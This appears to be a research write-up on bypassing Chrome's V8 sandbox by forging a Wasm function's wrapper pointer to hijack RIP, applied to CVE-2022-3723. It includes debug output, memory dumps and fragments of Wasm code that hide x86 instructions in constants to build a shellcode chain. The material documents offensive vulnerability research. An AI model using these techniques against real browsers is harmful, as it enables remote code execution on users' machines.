0x00-Preface
On July 21, 2023, @5aelo published a new discussion document on v8 sandbox: Function Pointer Wrapping.
Given that this bypass will be patched by Chrome’s pointer wrapping mitigation in the future, this article discusses how to leverage the native pointers of Function to bypass the latest v8 sandbox in Chrome.
Regarding the origin and evolution of the v8 sandbox, we can refer to some previous documents, briefly listed here.
V8 Sandbox — High-Level Design mainly explains the high-level design ideas, while V8 Sandbox — External Pointer Sandboxing focuses on the external pointer table design and memory-safe access to objects outside the v8 sandbox. Exploiting high-version Chrome vulnerabilities requires considering bypassing the v8 sandbox mitigations. As before, this article delves into the bypass concepts and implementation, and combines the in-the-wild CVE-2022–3723 (issue1378239) to pop a calculator. This issue still remains locked at present.
0x01-Function Object
When writing an exploit, the usual process is object corruption to arbitrary read/write, and finally code execution. With the v8 sandbox added, the basic approach becomes:
Object corruption -> Relative arbitrary read/write -> Bypass v8 sandbox -> Code execution
The key here is bypassing the sandbox from relative arbitrary read/write. The Function object in Javascript provides this capability. Function is itself an object, while also enabling code execution. Thus, it bridges from object to execution.
Below is the data structure of the Function object:
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
%DebugPrint(f);
DebugPrint: 0x1f290011c161: [Function] in OldSpace
- map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)>
- elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i>
- name: 0x1f2900002785 <String[1]: #0>
- builtin: JSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x1f2900103c0d <NativeContext[281]>
- code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>
Here is the hex data in Memory
0x1f290011c100 00000000 00040E40 00001E95 0011C0F1
0x1f290011c110 00303979 00000000 0011BF69 00000000
0x1f290011c120 000007D0 002B1A65 00000000 00000002
0x1f290011c130 00040E60 00000D8D 0011C109 00002785
0x1f290011c140 0000026D 0011BED1 00010000 00000000
0x1f290011c150 00000000 FFFFFFFF 0000031B 00000000
0x1f290011c160 001138B9 00000219 00000219 00057400
0x1f290011c170 0011C135 00103C0D 000C22F9 00000061
0x02-RIP Hijacking
0x1f290011c160 is the start address of the object, while 0x1f290011C135 is the shared_info object. We can inspect the details of this object:
0x1f290011c135: [SharedFunctionInfo] in OldSpace
- map: 0x1f2900000d8d <Map[44](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x1f2900002785 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 204
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- function_data: 0x1f290011c109 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from function_data): 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
…
…
The SharedFunctionInfo reveals the function_data object at address 0x1f290011c109. Examining this object shows:
0x1f290011c109: [WasmExportedFunctionData] in OldSpace
- map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
- wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- js_promise_flags: 0
Although 0x1f2900303979 is readily apparent when parsing, in memory it appears in reverse order. This could likely be addressed through minor layout tweaks to enforce a consistent order. The main point here is the wrapper_code.
In the latest v8, we see it is now a read-only property.
(gdb) vmmap 0x1f2900303979
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r--
However, we can forge this object. Shown below is a test on the latest Chrome 115.0.5790.170:
The object address is 0x109900233314. By modifying the data at 0x10990023332C to 0x002333B5, then forging the object at 0x1099002333B4, we hijack the address and make it point to wasm address of 0x037557588B010 (the actual wasm module start address is 0x37557588B000). As shown, RIP is successfully hijacked to 0x037557588B010 containing 0xCC, hitting the breakpoint in gdb.
0x03-issue1378239 Bypass
issue1378239-CVE-2022–3723 affects Chrome 107.0.5304.62 and earlier, an in-the-wild 0day captured in 2022, though the details of this issue are still unpublished. Given Google’s public PoC, arbitrary relative read/write is easy to be achieved, so exploit primitives are omitted as we want to focus on v8 sandbox bypass.
With arbitrary read/write, we can leak the wasm address and then the client sends it to a remote server along with a wasm request. Upon receiving the address, the server immediately compiles and returns the wasm bytecode. Since we can control RIP, cleverly designed wasm code allows hijacking RIP into misaligned bytecodes in wasm. Details below:
var wasm_code = `
(module
(func $f (export "f") (param i64)
(call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12
(call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B
……
……
After compilation, the above wasm code has RWX permissions in the latest Chrome but RX in 107.0.5304.63. As we can control the $f function argument, which suffices for arbitrary code execution. The first two bytes 48 31 pivot us to the next controllable bytecodes. Thus in this wasm we can execute equivalent assembly while jumping to the next sequences, gradually making a VirtualProtect call and jumping to shellcode. See the public GitHub for implementation details.
0x04-Notes on issue1378239
When writing this exploit, it was found to trigger only once per isolated context. So the exploit uses two steps: first leak data from one iframe, send the leaked data to the remote Server, then the Server writes the leaked info into another html for the client to request in a local iframe. Since both iframes share the same domain and port, they share the same process, and also allowing leaked addresses to be used in the same process. In the second iframe we modify the array length, then follow typical arbitrary read/write to bypass the v8 sandbox for in-Chrome-sandbox RCE. See GitHub for exploit details.
0x05-Video Demo
0x07-reference
https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723
https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f
https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078
Sharing another V8 Sandbox design document more widely: https://t.co/h29nL4uBEM
This one discusses how to protect code pointers - probably the most performance sensitive part touched by the sandbox - with (almost) no performance overhead.
— Samuel Groß (@5aelo) July 21, 2023
https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit
https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit
https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267